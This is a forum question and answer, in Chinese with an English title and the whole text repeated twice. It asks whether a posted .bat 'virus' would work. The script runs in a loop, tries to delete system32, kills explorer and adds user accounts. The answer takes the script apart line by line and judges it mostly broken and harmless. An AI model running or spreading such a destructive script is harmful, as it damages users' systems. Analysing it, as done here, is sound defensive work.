.bat 文件:功能性恶意软件还是笑话?
.bat file: functional malware or a joke?
在我主持的论坛上,一位用户发布了一个包含以下代码的 .bat 文件:
@echo off
:virus
del /f /q "c:\WINDOWS\system32"
taskkill explorer.exe
tskill explorer
set /a _virus+=1
net user %_virus+% /add
goto virus
这是一个功能正常的恶意软件,乍一看会像它看起来那样做,还是只是一个玩笑让它看起来像会但没有正确的语法?
C:\WINDOWS
文件夹应该是安全的(感谢 Microsoft)(写保护)。
taskkill
语法错误,只是给出了这样的消息。
tskill
会终止任务栏,但(再次感谢微软)它会在几秒钟后自动重启。
net user
命令语法错误,因为变量%_virus+%
没有定义(set /a
命令在递增(+=1
)变量%_virus%
- 另一个变量)。这可能是编程失败,但我想,这是故意的。
只是 tskkill
的无限循环(连同一些无害的命令)可能会引起混淆,但是一个简单的 Ctrl-C
游戏就结束了。
所以总而言之,我倾向于说,它不是一个编程糟糕的恶意软件,而更像是一只伪装成危险野兽的小兔子(虽然我不想在我的系统上安装它...... ).
在我主持的论坛上,一位用户发布了一个包含以下代码的 .bat 文件:
@echo off
:virus
del /f /q "c:\WINDOWS\system32"
taskkill explorer.exe
tskill explorer
set /a _virus+=1
net user %_virus+% /add
goto virus
这是一个功能正常的恶意软件,乍一看会像它看起来那样做,还是只是一个玩笑让它看起来像会但没有正确的语法?
C:\WINDOWS
文件夹应该是安全的(感谢 Microsoft)(写保护)。
taskkill
语法错误,只是给出了这样的消息。
tskill
会终止任务栏,但(再次感谢微软)它会在几秒钟后自动重启。
net user
命令语法错误,因为变量%_virus+%
没有定义(set /a
命令在递增(+=1
)变量%_virus%
- 另一个变量)。这可能是编程失败,但我想,这是故意的。
只是 tskkill
的无限循环(连同一些无害的命令)可能会引起混淆,但是一个简单的 Ctrl-C
游戏就结束了。
所以总而言之,我倾向于说,它不是一个编程糟糕的恶意软件,而更像是一只伪装成危险野兽的小兔子(虽然我不想在我的系统上安装它...... ).